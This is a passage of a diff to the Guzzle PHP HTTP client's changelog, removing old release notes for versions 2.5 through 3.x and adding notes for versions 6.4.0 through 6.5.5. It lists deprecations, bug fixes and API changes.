E_USER_DEPRECATED warnings to see if you are using a deprecated method by setting - `Guzzle\Common\Version::$emitWarnings` to true. -* Marked `Guzzle\Http\Message\Request::isResponseBodyRepeatable()` as deprecated. Use - `$request->getResponseBody()->isRepeatable()` instead. -* Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use - `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead. -* Marked `Guzzle\Http\Message\Request::canCache()` as deprecated. Use - `Guzzle\Plugin\Cache\DefaultCanCacheStrategy->canCacheRequest()` instead. -* Marked `Guzzle\Http\Message\Request::setIsRedirect()` as deprecated. Use the HistoryPlugin instead. -* Marked `Guzzle\Http\Message\Request::isRedirect()` as deprecated. Use the HistoryPlugin instead. -* Marked `Guzzle\Cache\CacheAdapterFactory::factory()` as deprecated -* Marked 'command.headers', 'command.response_body' and 'command.on_complete' as deprecated for AbstractCommand. - These will work through Guzzle 4.0 -* Marked 'request.params' for `Guzzle\Http\Client` as deprecated. Use [request.options][params]. -* Marked `Guzzle\Service\Client::enableMagicMethods()` as deprecated. Magic methods can no longer be disabled on a Guzzle\Service\Client. -* Marked `Guzzle\Service\Client::getDefaultHeaders()` as deprecated. Use $client->getConfig()->getPath('request.options/headers')`. -* Marked `Guzzle\Service\Client::setDefaultHeaders()` as deprecated. Use $client->getConfig()->setPath('request.options/headers/{header_name}', 'value')`. -* Marked `Guzzle\Parser\Url\UrlParser` as deprecated. Just use PHP's `parse_url()` and percent encode your UTF-8. -* Marked `Guzzle\Common\Collection::inject()` as deprecated. -* Marked `Guzzle\Plugin\CurlAuth\CurlAuthPlugin` as deprecated. Use `$client->getConfig()->setPath('request.options/auth', array('user', 'pass', 'Basic|Digest');` -* CacheKeyProviderInterface and DefaultCacheKeyProvider are no longer used. All of this logic is handled in a - CacheStorageInterface. These two objects and interface will be removed in a future version. -* Always setting X-cache headers on cached responses -* Default cache TTLs are now handled by the CacheStorageInterface of a CachePlugin -* `CacheStorageInterface::cache($key, Response $response, $ttl = null)` has changed to `cache(RequestInterface - $request, Response $response);` -* `CacheStorageInterface::fetch($key)` has changed to `fetch(RequestInterface $request);` -* `CacheStorageInterface::delete($key)` has changed to `delete(RequestInterface $request);` -* Added `CacheStorageInterface::purge($url)` -* `DefaultRevalidation::__construct(CacheKeyProviderInterface $cacheKey, CacheStorageInterface $cache, CachePlugin - $plugin)` has changed to `DefaultRevalidation::__construct(CacheStorageInterface $cache, - CanCacheStrategyInterface $canCache = null)` -* Added `RevalidationInterface::shouldRevalidate(RequestInterface $request, Response $response)` - -## 3.6.0 - 2013-05-29 - -* ServiceDescription now implements ToArrayInterface -* Added command.hidden_params to blacklist certain headers from being treated as additionalParameters -* Guzzle can now correctly parse incomplete URLs -* Mixed casing of headers are now forced to be a single consistent casing across all values for that header. -* Messages internally use a HeaderCollection object to delegate handling case-insensitive header resolution -* Removed the whole changedHeader() function system of messages because all header changes now go through addHeader(). -* Specific header implementations can be created for complex headers. When a message creates a header, it uses a - HeaderFactory which can map specific headers to specific header classes. There is now a Link header and - CacheControl header implementation. -* Removed from interface: Guzzle\Http\ClientInterface::setUriTemplate -* Removed from interface: Guzzle\Http\ClientInterface::setCurlMulti() -* Removed Guzzle\Http\Message\Request::receivedRequestHeader() and implemented this functionality in - Guzzle\Http\Curl\RequestMediator -* Removed the optional $asString parameter from MessageInterface::getHeader(). Just cast the header to a string. -* Removed the optional $tryChunkedTransfer option from Guzzle\Http\Message\EntityEnclosingRequestInterface -* Removed the $asObjects argument from Guzzle\Http\Message\MessageInterface::getHeaders() -* Removed Guzzle\Parser\ParserRegister::get(). Use getParser() -* Removed Guzzle\Parser\ParserRegister::set(). Use registerParser(). -* All response header helper functions return a string rather than mixing Header objects and strings inconsistently -* Removed cURL blacklist support. This is no longer necessary now that Expect, Accept, etc. are managed by Guzzle - directly via interfaces -* Removed the injecting of a request object onto a response object. The methods to get and set a request still exist - but are a no-op until removed. -* Most classes that used to require a `Guzzle\Service\Command\CommandInterface` typehint now request a - `Guzzle\Service\Command\ArrayCommandInterface`. -* Added `Guzzle\Http\Message\RequestInterface::startResponse()` to the RequestInterface to handle injecting a response - on a request while the request is still being transferred -* The ability to case-insensitively search for header values -* Guzzle\Http\Message\Header::hasExactHeader -* Guzzle\Http\Message\Header::raw. Use getAll() -* Deprecated cache control specific methods on Guzzle\Http\Message\AbstractMessage. Use the CacheControl header object - instead. -* `Guzzle\Service\Command\CommandInterface` now extends from ToArrayInterface and ArrayAccess -* Added the ability to cast Model objects to a string to view debug information. - -## 3.5.0 - 2013-05-13 - -* Bug: Fixed a regression so that request responses are parsed only once per oncomplete event rather than multiple times -* Bug: Better cleanup of one-time events across the board (when an event is meant to fire once, it will now remove - itself from the EventDispatcher) -* Bug: `Guzzle\Log\MessageFormatter` now properly writes "total_time" and "connect_time" values -* Bug: Cloning an EntityEnclosingRequest now clones the EntityBody too -* Bug: Fixed an undefined index error when parsing nested JSON responses with a sentAs parameter that reference a - non-existent key -* Bug: All __call() method arguments are now required (helps with mocking frameworks) -* Deprecating Response::getRequest() and now using a shallow clone of a request object to remove a circular reference - to help with refcount based garbage collection of resources created by sending a request -* Deprecating ZF1 cache and log adapters. These will be removed in the next major version. -* Deprecating `Response::getPreviousResponse()` (method signature still exists, but it's deprecated). Use the - HistoryPlugin for a history. -* Added a `responseBody` alias for the `response_body` location -* Refactored internals to no longer rely on Response::getRequest() -* HistoryPlugin can now be cast to a string -* HistoryPlugin now logs transactions rather than requests and responses to more accurately keep track of the requests - and responses that are sent over the wire -* Added `getEffectiveUrl()` and `getRedirectCount()` to Response objects - -## 3.4.3 - 2013-04-30 - -* Bug fix: Fixing bug introduced in 3.4.2 where redirect responses are duplicated on the final redirected response -* Added a check to re-extract the temp cacert bundle from the phar before sending each request - -## 3.4.2 - 2013-04-29 - -* Bug fix: Stream objects now work correctly with "a" and "a+" modes -* Bug fix: Removing `Transfer-Encoding: chunked` header when a Content-Length is present -* Bug fix: AsyncPlugin no longer forces HEAD requests -* Bug fix: DateTime timezones are now properly handled when using the service description schema formatter -* Bug fix: CachePlugin now properly handles stale-if-error directives when a request to the origin server fails -* Setting a response on a request will write to the custom request body from the response body if one is specified -* LogPlugin now writes to php://output when STDERR is undefined -* Added the ability to set multiple POST files for the same key in a single call -* application/x-www-form-urlencoded POSTs now use the utf-8 charset by default -* Added the ability to queue CurlExceptions to the MockPlugin -* Cleaned up how manual responses are queued on requests (removed "queued_response" and now using request.before_send) -* Configuration loading now allows remote files - -## 3.4.1 - 2013-04-16 - -* Large refactoring to how CurlMulti handles work. There is now a proxy that sits in front of a pool of CurlMulti - handles. This greatly simplifies the implementation, fixes a couple bugs, and provides a small performance boost. -* Exceptions are now properly grouped when sending requests in parallel -* Redirects are now properly aggregated when a multi transaction fails -* Redirects now set the response on the original object even in the event of a failure -* Bug fix: Model names are now properly set even when using $refs -* Added support for PHP 5.5's CurlFile to prevent warnings with the deprecated @ syntax -* Added support for oauth_callback in OAuth signatures -* Added support for oauth_verifier in OAuth signatures -* Added support to attempt to retrieve a command first literally, then ucfirst, the with inflection - -## 3.4.0 - 2013-04-11 - -* Bug fix: URLs are now resolved correctly based on http://tools.ietf.org/html/rfc3986#section-5.2. #289 -* Bug fix: Absolute URLs with a path in a service description will now properly override the base URL. #289 -* Bug fix: Parsing a query string with a single PHP array value will now result in an array. #263 -* Bug fix: Better normalization of the User-Agent header to prevent duplicate headers. #264. -* Bug fix: Added `number` type to service descriptions. -* Bug fix: empty parameters are removed from an OAuth signature -* Bug fix: Revalidating a cache entry prefers the Last-Modified over the Date header -* Bug fix: Fixed "array to string" error when validating a union of types in a service description -* Bug fix: Removed code that attempted to determine the size of a stream when data is written to the stream -* Bug fix: Not including an `oauth_token` if the value is null in the OauthPlugin. -* Bug fix: Now correctly aggregating successful requests and failed requests in CurlMulti when a redirect occurs. -* The new default CURLOPT_TIMEOUT setting has been increased to 150 seconds so that Guzzle works on poor connections. -* Added a feature to EntityEnclosingRequest::setBody() that will automatically set the Content-Type of the request if - the Content-Type can be determined based on the entity body or the path of the request. -* Added the ability to overwrite configuration settings in a client when grabbing a throwaway client from a builder. -* Added support for a PSR-3 LogAdapter. -* Added a `command.after_prepare` event -* Added `oauth_callback` parameter to the OauthPlugin -* Added the ability to create a custom stream class when using a stream factory -* Added a CachingEntityBody decorator -* Added support for `additionalParameters` in service descriptions to define how custom parameters are serialized. -* The bundled SSL certificate is now provided in the phar file and extracted when running Guzzle from a phar. -* You can now send any EntityEnclosingRequest with POST fields or POST files and cURL will handle creating bodies -* POST requests using a custom entity body are now treated exactly like PUT requests but with a custom cURL method. This - means that the redirect behavior of POST requests with custom bodies will not be the same as POST requests that use - POST fields or files (the latter is only used when emulating a form POST in the browser). -* Lots of cleanup to CurlHandle::factory and RequestFactory::createRequest - -## 3.3.1 - 2013-03-10 - -* Added the ability to create PHP streaming responses from HTTP requests -* Bug fix: Running any filters when parsing response headers with service descriptions -* Bug fix: OauthPlugin fixes to allow for multi-dimensional array signing, and sorting parameters before signing -* Bug fix: Removed the adding of default empty arrays and false Booleans to responses in order to be consistent across - response location visitors. -* Bug fix: Removed the possibility of creating configuration files with circular dependencies -* RequestFactory::create() now uses the key of a POST file when setting the POST file name -* Added xmlAllowEmpty to serialize an XML body even if no XML specific parameters are set - -## 3.3.0 - 2013-03-03 - -* A large number of performance optimizations have been made -* Bug fix: Added 'wb' as a valid write mode for streams -* Bug fix: `Guzzle\Http\Message\Response::json()` now allows scalar values to be returned -* Bug fix: Fixed bug in `Guzzle\Http\Message\Response` where wrapping quotes were stripped from `getEtag()` -* BC: Removed `Guzzle\Http\Utils` class -* BC: Setting a service description on a client will no longer modify the client's command factories. -* BC: Emitting IO events from a RequestMediator is now a parameter that must be set in a request's curl options using - the 'emit_io' key. This was previously set under a request's parameters using 'curl.emit_io' -* BC: `Guzzle\Stream\Stream::getWrapper()` and `Guzzle\Stream\Stream::getSteamType()` are no longer converted to - lowercase -* Operation parameter objects are now lazy loaded internally -* Added ErrorResponsePlugin that can throw errors for responses defined in service description operations' errorResponses -* Added support for instantiating responseType=class responseClass classes. Classes must implement - `Guzzle\Service\Command\ResponseClassInterface` -* Added support for additionalProperties for top-level parameters in responseType=model responseClasses. These - additional properties also support locations and can be used to parse JSON responses where the outermost part of the - JSON is an array -* Added support for nested renaming of JSON models (rename sentAs to name) -* CachePlugin - * Added support for stale-if-error so that the CachePlugin can now serve stale content from the cache on error - * Debug headers can now added to cached response in the CachePlugin - -## 3.2.0 - 2013-02-14 - -* CurlMulti is no longer reused globally. A new multi object is created per-client. This helps to isolate clients. -* URLs with no path no longer contain a "/" by default -* Guzzle\Http\QueryString does no longer manages the leading "?". This is now handled in Guzzle\Http\Url. -* BadResponseException no longer includes the full request and response message -* Adding setData() to Guzzle\Service\Description\ServiceDescriptionInterface -* Adding getResponseBody() to Guzzle\Http\Message\RequestInterface -* Various updates to classes to use ServiceDescriptionInterface type hints rather than ServiceDescription -* Header values can now be normalized into distinct values when multiple headers are combined with a comma separated list -* xmlEncoding can now be customized for the XML declaration of a XML service description operation -* Guzzle\Http\QueryString now uses Guzzle\Http\QueryAggregator\QueryAggregatorInterface objects to add custom value - aggregation and no longer uses callbacks -* The URL encoding implementation of Guzzle\Http\QueryString can now be customized -* Bug fix: Filters were not always invoked for array service description parameters -* Bug fix: Redirects now use a target response body rather than a temporary response body -* Bug fix: The default exponential backoff BackoffPlugin was not giving when the request threshold was exceeded -* Bug fix: Guzzle now takes the first found value when grabbing Cache-Control directives - -## 3.1.2 - 2013-01-27 - -* Refactored how operation responses are parsed. Visitors now include a before() method responsible for parsing the - response body. For example, the XmlVisitor now parses the XML response into an array in the before() method. -* Fixed an issue where cURL would not automatically decompress responses when the Accept-Encoding header was sent -* CURLOPT_SSL_VERIFYHOST is never set to 1 because it is deprecated (see 5e0ff2ef20f839e19d1eeb298f90ba3598784444) -* Fixed a bug where redirect responses were not chained correctly using getPreviousResponse() -* Setting default headers on a client after setting the user-agent will not erase the user-agent setting - -## 3.1.1 - 2013-01-20 - -* Adding wildcard support to Guzzle\Common\Collection::getPath() -* Adding alias support to ServiceBuilder configs -* Adding Guzzle\Service\Resource\CompositeResourceIteratorFactory and cleaning up factory interface - -## 3.1.0 - 2013-01-12 - -* BC: CurlException now extends from RequestException rather than BadResponseException -* BC: Renamed Guzzle\Plugin\Cache\CanCacheStrategyInterface::canCache() to canCacheRequest() and added CanCacheResponse() -* Added getData to ServiceDescriptionInterface -* Added context array to RequestInterface::setState() -* Bug: Removing hard dependency on the BackoffPlugin from Guzzle\Http -* Bug: Adding required content-type when JSON request visitor adds JSON to a command -* Bug: Fixing the serialization of a service description with custom data -* Made it easier to deal with exceptions thrown when transferring commands or requests in parallel by providing - an array of successful and failed responses -* Moved getPath from Guzzle\Service\Resource\Model to Guzzle\Common\Collection -* Added Guzzle\Http\IoEmittingEntityBody -* Moved command filtration from validators to location visitors -* Added `extends` attributes to service description parameters -* Added getModels to ServiceDescriptionInterface - -## 3.0.7 - 2012-12-19 - -* Fixing phar detection when forcing a cacert to system if null or true -* Allowing filename to be passed to `Guzzle\Http\Message\Request::setResponseBody()` -* Cleaning up `Guzzle\Common\Collection::inject` method -* Adding a response_body location to service descriptions - -## 3.0.6 - 2012-12-09 - -* CurlMulti performance improvements -* Adding setErrorResponses() to Operation -* composer.json tweaks - -## 3.0.5 - 2012-11-18 - -* Bug: Fixing an infinite recursion bug caused from revalidating with the CachePlugin -* Bug: Response body can now be a string containing "0" -* Bug: Using Guzzle inside of a phar uses system by default but now allows for a custom cacert -* Bug: QueryString::fromString now properly parses query string parameters that contain equal signs -* Added support for XML attributes in service description responses -* DefaultRequestSerializer now supports array URI parameter values for URI template expansion -* Added better mimetype guessing to requests and post files - -## 3.0.4 - 2012-11-11 - -* Bug: Fixed a bug when adding multiple cookies to a request to use the correct glue value -* Bug: Cookies can now be added that have a name, domain, or value set to "0" -* Bug: Using the system cacert bundle when using the Phar -* Added json and xml methods to Response to make it easier to parse JSON and XML response data into data structures -* Enhanced cookie jar de-duplication -* Added the ability to enable strict cookie jars that throw exceptions when invalid cookies are added -* Added setStream to StreamInterface to actually make it possible to implement custom rewind behavior for entity bodies -* Added the ability to create any sort of hash for a stream rather than just an MD5 hash - -## 3.0.3 - 2012-11-04 - -* Implementing redirects in PHP rather than cURL -* Added PECL URI template extension and using as default parser if available -* Bug: Fixed Content-Length parsing of Response factory -* Adding rewind() method to entity bodies and streams. Allows for custom rewinding of non-repeatable streams. -* Adding ToArrayInterface throughout library -* Fixing OauthPlugin to create unique nonce values per request - -## 3.0.2 - 2012-10-25 - -* Magic methods are enabled by default on clients -* Magic methods return the result of a command -* Service clients no longer require a base_url option in the factory -* Bug: Fixed an issue with URI templates where null template variables were being expanded - -## 3.0.1 - 2012-10-22 - -* Models can now be used like regular collection objects by calling filter, map, etc. -* Models no longer require a Parameter structure or initial data in the constructor -* Added a custom AppendIterator to get around a PHP bug with the `\AppendIterator` - -## 3.0.0 - 2012-10-15 - -* Rewrote service description format to be based on Swagger - * Now based on JSON schema - * Added nested input structures and nested response models - * Support for JSON and XML input and output models - * Renamed `commands` to `operations` - * Removed dot class notation - * Removed custom types -* Broke the project into smaller top-level namespaces to be more component friendly -* Removed support for XML configs and descriptions. Use arrays or JSON files. -* Removed the Validation component and Inspector -* Moved all cookie code to Guzzle\Plugin\Cookie -* Magic methods on a Guzzle\Service\Client now return the command un-executed. -* Calling getResult() or getResponse() on a command will lazily execute the command if needed. -* Now shipping with cURL's CA certs and using it by default -* Added previousResponse() method to response objects -* No longer sending Accept and Accept-Encoding headers on every request -* Only sending an Expect header by default when a payload is greater than 1MB -* Added/moved client options: - * curl.blacklist to curl.option.blacklist - * Added ssl.certificate_authority -* Added a Guzzle\Iterator component -* Moved plugins from Guzzle\Http\Plugin to Guzzle\Plugin -* Added a more robust backoff retry strategy (replaced the ExponentialBackoffPlugin) -* Added a more robust caching plugin -* Added setBody to response objects -* Updating LogPlugin to use a more flexible MessageFormatter -* Added a completely revamped build process -* Cleaning up Collection class and removing default values from the get method -* Fixed ZF2 cache adapters - -## 2.8.8 - 2012-10-15 - -* Bug: Fixed a cookie issue that caused dot prefixed domains to not match where popular browsers did - -## 2.8.7 - 2012-09-30 - -* Bug: Fixed config file aliases for JSON includes -* Bug: Fixed cookie bug on a request object by using CookieParser to parse cookies on requests -* Bug: Removing the path to a file when sending a Content-Disposition header on a POST upload -* Bug: Hardening request and response parsing to account for missing parts -* Bug: Fixed PEAR packaging -* Bug: Fixed Request::getInfo -* Bug: Fixed cases where CURLM_CALL_MULTI_PERFORM return codes were causing curl transactions to fail -* Adding the ability for the namespace Iterator factory to look in multiple directories -* Added more getters/setters/removers from service descriptions -* Added the ability to remove POST fields from OAuth signatures -* OAuth plugin now supports 2-legged OAuth - -## 2.8.6 - 2012-09-05 - -* Added the ability to modify and build service descriptions -* Added the use of visitors to apply parameters to locations in service descriptions using the dynamic command -* Added a `json` parameter location -* Now allowing dot notation for classes in the CacheAdapterFactory -* Using the union of two arrays rather than an array_merge when extending service builder services and service params -* Ensuring that a service is a string before doing strpos() checks on it when substituting services for references - in service builder config files. -* Services defined in two different config files that include one another will by default replace the previously - defined service, but you can now create services that extend themselves and merge their settings over the previous -* The JsonLoader now supports aliasing filenames with different filenames. This allows you to alias something like - '_default' with a default JSON configuration file. - -## 2.8.5 - 2012-08-29 - -* Bug: Suppressed empty arrays from URI templates -* Bug: Added the missing $options argument from ServiceDescription::factory to enable caching -* Added support for HTTP responses that do not contain a reason phrase in the start-line -* AbstractCommand commands are now invokable -* Added a way to get the data used when signing an Oauth request before a request is sent - -## 2.8.4 - 2012-08-15 - -* Bug: Custom delay time calculations are no longer ignored in the ExponentialBackoffPlugin -* Added the ability to transfer entity bodies as a string rather than streamed. This gets around curl error 65. Set `body_as_string` in a request's curl options to enable. -* Added a StreamInterface, EntityBodyInterface, and added ftell() to Guzzle\Common\Stream -* Added an AbstractEntityBodyDecorator and a ReadLimitEntityBody decorator to transfer only a subset of a decorated stream -* Stream and EntityBody objects will now return the file position to the previous position after a read required operation (e.g. getContentMd5()) -* Added additional response status codes -* Removed SSL information from the default User-Agent header -* DELETE requests can now send an entity body -* Added an EventDispatcher to the ExponentialBackoffPlugin and added an ExponentialBackoffLogger to log backoff retries -* Added the ability of the MockPlugin to consume mocked request bodies -* LogPlugin now exposes request and response objects in the extras array - -## 2.8.3 - 2012-07-30 - -* Bug: Fixed a case where empty POST requests were sent as GET requests -* Bug: Fixed a bug in ExponentialBackoffPlugin that caused fatal errors when retrying an EntityEnclosingRequest that does not have a body -* Bug: Setting the response body of a request to null after completing a request, not when setting the state of a request to new -* Added multiple inheritance to service description commands -* Added an ApiCommandInterface and added `getParamNames()` and `hasParam()` -* Removed the default 2mb size cutoff from the Md5ValidatorPlugin so that it now defaults to validating everything -* Changed CurlMulti::perform to pass a smaller timeout to CurlMulti::executeHandles - -## 2.8.2 - 2012-07-24 - -* Bug: Query string values set to 0 are no longer dropped from the query string -* Bug: A Collection object is no longer created each time a call is made to `Guzzle\Service\Command\AbstractCommand::getRequestHeaders()` -* Bug: `+` is now treated as an encoded space when parsing query strings -* QueryString and Collection performance improvements -* Allowing dot notation for class paths in filters attribute of a service descriptions - -## 2.8.1 - 2012-07-16 - -* Loosening Event Dispatcher dependency -* POST redirects can now be customized using CURLOPT_POSTREDIR - -## 2.8.0 - 2012-07-15 - -* BC: Guzzle\Http\Query - * Query strings with empty variables will always show an equal sign unless the variable is set to QueryString::BLANK (e.g. ?acl= vs ?acl) - * Changed isEncodingValues() and isEncodingFields() to isUrlEncoding() - * Changed setEncodeValues(bool) and setEncodeFields(bool) to useUrlEncoding(bool) - * Changed the aggregation functions of QueryString to be static methods - * Can now use fromString() with querystrings that have a leading ? -* cURL configuration values can be specified in service descriptions using `curl.` prefixed parameters -* Content-Length is set to 0 before emitting the request.before_send event when sending an empty request body -* Cookies are no longer URL decoded by default -* Bug: URI template variables set to null are no longer expanded - -## 2.7.2 - 2012-07-02 - -* BC: Moving things to get ready for subtree splits. Moving Inflection into Common. Moving Guzzle\Http\Parser to Guzzle\Parser. -* BC: Removing Guzzle\Common\Batch\Batch::count() and replacing it with isEmpty() -* CachePlugin now allows for a custom request parameter function to check if a request can be cached -* Bug fix: CachePlugin now only caches GET and HEAD requests by default -* Bug fix: Using header glue when transferring headers over the wire -* Allowing deeply nested arrays for composite variables in URI templates -* Batch divisors can now return iterators or arrays - -## 2.7.1 - 2012-06-26 - -* Minor patch to update version number in UA string -* Updating build process - -## 2.7.0 - 2012-06-25 - -* BC: Inflection classes moved to Guzzle\Inflection. No longer static methods. Can now inject custom inflectors into classes. -* BC: Removed magic setX methods from commands -* BC: Magic methods mapped to service description commands are now inflected in the command factory rather than the client __call() method -* Verbose cURL options are no longer enabled by default. Set curl.debug to true on a client to enable. -* Bug: Now allowing colons in a response start-line (e.g. HTTP/1.1 503 Service Unavailable: Back-end server is at capacity) -* Guzzle\Service\Resource\ResourceIteratorApplyBatched now internally uses the Guzzle\Common\Batch namespace -* Added Guzzle\Service\Plugin namespace and a PluginCollectionPlugin -* Added the ability to set POST fields and files in a service description -* Guzzle\Http\EntityBody::factory() now accepts objects with a __toString() method -* Adding a command.before_prepare event to clients -* Added BatchClosureTransfer and BatchClosureDivisor -* BatchTransferException now includes references to the batch divisor and transfer strategies -* Fixed some tests so that they pass more reliably -* Added Guzzle\Common\Log\ArrayLogAdapter - -## 2.6.6 - 2012-06-10 - -* BC: Removing Guzzle\Http\Plugin\BatchQueuePlugin -* BC: Removing Guzzle\Service\Command\CommandSet -* Adding generic batching system (replaces the batch queue plugin and command set) -* Updating ZF cache and log adapters and now using ZF's composer repository -* Bug: Setting the name of each ApiParam when creating through an ApiCommand -* Adding result_type, result_doc, deprecated, and doc_url to service descriptions -* Bug: Changed the default cookie header casing back to 'Cookie' - -## 2.6.5 - 2012-06-03 - -* BC: Renaming Guzzle\Http\Message\RequestInterface::getResourceUri() to getResource() -* BC: Removing unused AUTH_BASIC and AUTH_DIGEST constants from -* BC: Guzzle\Http\Cookie is now used to manage Set-Cookie data, not Cookie data -* BC: Renaming methods in the CookieJarInterface -* Moving almost all cookie logic out of the CookiePlugin and into the Cookie or CookieJar implementations -* Making the default glue for HTTP headers ';' instead of ',' -* Adding a removeValue to Guzzle\Http\Message\Header -* Adding getCookies() to request interface. -* Making it easier to add event subscribers to HasDispatcherInterface classes. Can now directly call addSubscriber() - -## 2.6.4 - 2012-05-30 - -* BC: Cleaning up how POST files are stored in EntityEnclosingRequest objects. Adding PostFile class. -* BC: Moving ApiCommand specific functionality from the Inspector and on to the ApiCommand -* Bug: Fixing magic method command calls on clients -* Bug: Email constraint only validates strings -* Bug: Aggregate POST fields when POST files are present in curl handle -* Bug: Fixing default User-Agent header -* Bug: Only appending or prepending parameters in commands if they are specified -* Bug: Not requiring response reason phrases or status codes to match a predefined list of codes -* Allowing the use of dot notation for class namespaces when using instance_of constraint -* Added any_match validation constraint -* Added an AsyncPlugin -* Passing request object to the calculateWait method of the ExponentialBackoffPlugin -* Allowing the result of a command object to be changed -* Parsing location and type sub values when instantiating a service description rather than over and over at runtime - -## 2.6.3 - 2012-05-23 - -* [BC] Guzzle\Common\FromConfigInterface no longer requires any config options. -* [BC] Refactoring how POST files are stored on an EntityEnclosingRequest. They are now separate from POST fields. -* You can now use an array of data when creating PUT request bodies in the request factory. -* Removing the requirement that HTTPS requests needed a Cache-Control: public directive to be cacheable. -* [Http] Adding support for Content-Type in multipart POST uploads per upload -* [Http] Added support for uploading multiple files using the same name (foo[0], foo[1]) -* Adding more POST data operations for easier manipulation of POST data. -* You can now set empty POST fields. -* The body of a request is only shown on EntityEnclosingRequest objects that do not use POST files. -* Split the Guzzle\Service\Inspector::validateConfig method into two methods. One to initialize when a command is created, and one to validate. -* CS updates - -## 2.6.2 - 2012-05-19 - -* [Http] Better handling of nested scope requests in CurlMulti. Requests are now always prepares in the send() method rather than the addRequest() method. - -## 2.6.1 - 2012-05-19 - -* [BC] Removing 'path' support in service descriptions. Use 'uri'. -* [BC] Guzzle\Service\Inspector::parseDocBlock is now protected. Adding getApiParamsForClass() with cache. -* [BC] Removing Guzzle\Common\NullObject. Use https://github.com/mtdowling/NullObject if you need it. -* [BC] Removing Guzzle\Common\XmlElement. -* All commands, both dynamic and concrete, have ApiCommand objects. -* Adding a fix for CurlMulti so that if all of the connections encounter some sort of curl error, then the loop exits. -* Adding checks to EntityEnclosingRequest so that empty POST files and fields are ignored. -* Making the method signature of Guzzle\Service\Builder\ServiceBuilder::factory more flexible. - -## 2.6.0 - 2012-05-15 - -* [BC] Moving Guzzle\Service\Builder to Guzzle\Service\Builder\ServiceBuilder -* [BC] Executing a Command returns the result of the command rather than the command -* [BC] Moving all HTTP parsing logic to Guzzle\Http\Parsers. Allows for faster C implementations if needed. -* [BC] Changing the Guzzle\Http\Message\Response::setProtocol() method to accept a protocol and version in separate args. -* [BC] Moving ResourceIterator* to Guzzle\Service\Resource -* [BC] Completely refactored ResourceIterators to iterate over a cloned command object -* [BC] Moved Guzzle\Http\UriTemplate to Guzzle\Http\Parser\UriTemplate\UriTemplate -* [BC] Guzzle\Guzzle is now deprecated -* Moving Guzzle\Common\Guzzle::inject to Guzzle\Common\Collection::inject -* Adding Guzzle\Version class to give version information about Guzzle -* Adding Guzzle\Http\Utils class to provide getDefaultUserAgent() and getHttpDate() -* Adding Guzzle\Curl\CurlVersion to manage caching curl_version() data -* ServiceDescription and ServiceBuilder are now cacheable using similar configs -* Changing the format of XML and JSON service builder configs. Backwards compatible. -* Cleaned up Cookie parsing -* Trimming the default Guzzle User-Agent header -* Adding a setOnComplete() method to Commands that is called when a command completes -* Keeping track of requests that were mocked in the MockPlugin -* Fixed a caching bug in the CacheAdapterFactory -* Inspector objects can be injected into a Command object -* Refactoring a lot of code and tests to be case insensitive when dealing with headers -* Adding Guzzle\Http\Message\HeaderComparison for easy comparison of HTTP headers using a DSL -* Adding the ability to set global option overrides to service builder configs -* Adding the ability to include other service builder config files from within XML and JSON files -* Moving the parseQuery method out of Url and on to QueryString::fromString() as a static factory method. - -## 2.5.0 - 2012-05-08 - -* Major performance improvements -* [BC] Simplifying Guzzle\Common\Collection. Please check to see if you are using features that are now deprecated. -* [BC] Using a custom validation system that allows a flyweight implementation for much faster validation. No longer using Symfony2 Validation component. -* [BC] No longer supporting "{{ }}" for injecting into command or UriTemplates. Use "{}" -* Added the ability to passed parameters to all requests created by a client -* Added callback functionality to the ExponentialBackoffPlugin -* Using microtime in ExponentialBackoffPlugin to allow more granular backoff strategies. -* Rewinding request stream bodies when retrying requests -* Exception is thrown when JSON response body cannot be decoded -* Added configurable magic method calls to clients and commands. This is off by default. -* Fixed a defect that added a hash to every parsed URL part -* Fixed duplicate none generation for OauthPlugin. -* Emitting an event each time a client is generated by a ServiceBuilder -* Using an ApiParams object instead of a Collection for parameters of an ApiCommand -* cache.* request parameters should be renamed to params.cache.* -* Added the ability to set arbitrary curl options on requests (disable_wire, progress, etc.). See CurlHandle. -* Added the ability to disable type validation of service descriptions -* ServiceDescriptions and ServiceBuilders are now Serializable +# Change Log + +## 6.5.5 - 2020-06-16 + +* Unpin version constraint for `symfony/polyfill-intl-idn` [#2678](https://github.com/guzzle/guzzle/pull/2678) + +## 6.5.4 - 2020-05-25 + +* Fix various intl icu issues [#2626](https://github.com/guzzle/guzzle/pull/2626) + +## 6.5.3 - 2020-04-18 + +* Use Symfony intl-idn polyfill [#2550](https://github.com/guzzle/guzzle/pull/2550) +* Remove use of internal functions [#2548](https://github.com/guzzle/guzzle/pull/2548) + +## 6.5.2 - 2019-12-23 + +* idn_to_ascii() fix for old PHP versions [#2489](https://github.com/guzzle/guzzle/pull/2489) + +## 6.5.1 - 2019-12-21 + +* Better defaults for PHP installations with old ICU lib [#2454](https://github.com/guzzle/guzzle/pull/2454) +* IDN support for redirects [#2424](https://github.com/guzzle/guzzle/pull/2424) + +## 6.5.0 - 2019-12-07 + +* Improvement: Added support for reset internal queue in MockHandler. [#2143](https://github.com/guzzle/guzzle/pull/2143) +* Improvement: Added support to pass arbitrary options to `curl_multi_init`. [#2287](https://github.com/guzzle/guzzle/pull/2287) +* Fix: Gracefully handle passing `null` to the `header` option. [#2132](https://github.com/guzzle/guzzle/pull/2132) +* Fix: `RetryMiddleware` did not do exponential delay between retries due unit mismatch. [#2132](https://github.com/guzzle/guzzle/pull/2132) + Previously, `RetryMiddleware` would sleep for 1 millisecond, then 2 milliseconds, then 4 milliseconds. + **After this change, `RetryMiddleware` will sleep for 1 second, then 2 seconds, then 4 seconds.** + `Middleware::retry()` accepts a second callback parameter to override the default timeouts if needed. +* Fix: Prevent undefined offset when using array for ssl_key options. [#2348](https://github.com/guzzle/guzzle/pull/2348) +* Deprecated `ClientInterface::VERSION` + +## 6.4.1 - 2019-10-23 + +* No `guzzle.phar` was created in 6.4.0 due expired API token. This release will fix that +* Added `parent::__construct()` to `FileCookieJar` and `SessionCookieJar` + +## 6.4.0 - 2019-10-23 + +* Improvement: Improved error messages when using curl < 7.21.2 [#2108](https://github.com/guzzle/guzzle/pull/2108) +* Fix: Test if response is readable before returning a summary in `RequestException::getResponseBodySummary()` [#2081](https://github.com/guzzle/guzzle/pull/2081) +* Fix: Add support for GUZZLE_CURL_SELECT_TIMEOUT environment variable [#2161](https://github.com/guzzle/guzzle/pull/2161) +* Improvement: Added `GuzzleHttp\Exception\InvalidArgumentException` [#2163](https://github.com/guzzle/guzzle/pull/2163) +* Improvement: Added `GuzzleHttp\_current_time()` to use `hrtime()` if that function exists. 